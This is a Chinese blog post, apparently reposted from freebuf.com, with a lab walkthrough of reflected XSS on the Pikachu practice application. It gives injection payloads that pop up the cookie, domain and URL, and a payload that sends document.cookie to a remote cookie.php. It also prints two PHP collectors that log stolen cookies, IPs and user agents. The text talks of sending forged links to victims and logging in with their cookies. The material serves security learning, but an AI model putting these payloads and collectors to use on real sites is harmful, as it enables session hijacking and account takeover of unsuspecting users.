你最喜欢的NBA球员是谁?
泥马!
YES!
这个有一个知识,什么是反射型的XSS?
反射型XSS又称非持久型XSS,当用户访问一个带有XSS代码的URL请求时,服务器接收数据后处理,然后带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞,这个过程像一次反射,所以又称为反射型XSS漏洞。
搞完了,接下来该干正事了!
咱先输入框中,加一条简单的JS语句:
长度有限制,输入不全,直接改!!!
这里直接在文本框的地方,右键,检查,即可直接修改源代码!!!!改成100
可以输入了!!!!
通过查看源代码,构成PAYLOAD,kobe><script>alert(1)</script>
弹出!!
kobe><script>alert(document.cookie)</script>
返回COOKIE!!!
kobe><script>alert(document.domain )</script>
获取或设置当前文档的域名!!!
kobe><script>alert(document.location)</script>
提供关于当前文档URL的信息!!!
kobe><script>alert(document.title)</script>
获取或设置当前文档的标题!!!
看链接!!!!
这就是传说中的伪造链接!!!发给被害者!!!
被害者点击后就会弹出当前cookie!!!
但是如果PAYLOAD为把cookie发送给远程主机的话!!!
被盗后!!!**!!就可以用***的cookie登录系统,进而进行一系列**行为!!!
使用网上找的cookie.php,发送给远程主机的PAYLOAD为:
<script>location.href=”http://127.0.0.1/cookie.php?cookie=”+document.cookie</script>
网上找的cookie.php的代码为:
<?php $cookie = $_GET['cookie']; $ip = getenv ('REMOTE_ADDR'); $time = date('Y-m-d g:i:s'); $fp = fopen("cookie.txt","a"); fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n"); fclose($fp); ?>
使用pikachu自带的pikachu Xss 后台进行cookie 收集!!!
<script>location.href=”http://localhost/pikachu/pkxss/xcookie/cookie.php?cookie=”+document.cookie</script>
pikachu Xss 后台的cookie.php的代码为:
<?php include_once '../inc/config.inc.php'; include_once '../inc/mysql.inc.php'; $link=connect();
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){ $time=date('Y-m-d g:i:s'); $ipaddress=getenv ('REMOTE_ADDR'); $cookie=$_GET['cookie']; $referer=$_SERVER['HTTP_REFERER']; $useragent=$_SERVER['HTTP_USER_AGENT']; $query="insert cookies(time,ipaddress,cookie,referer,useragent) values('$time','$ipaddress','$cookie','$referer','$useragent')"; $result=mysqli_query($link, $query); }
header(“Location:http://127.0.0.1/pikachu/index.php”);//重定向到一个可信的网站
?>
来源:freebuf.com 2021-07-13 08:28:50 by: 知非知非知非
请登录后发表评论
注册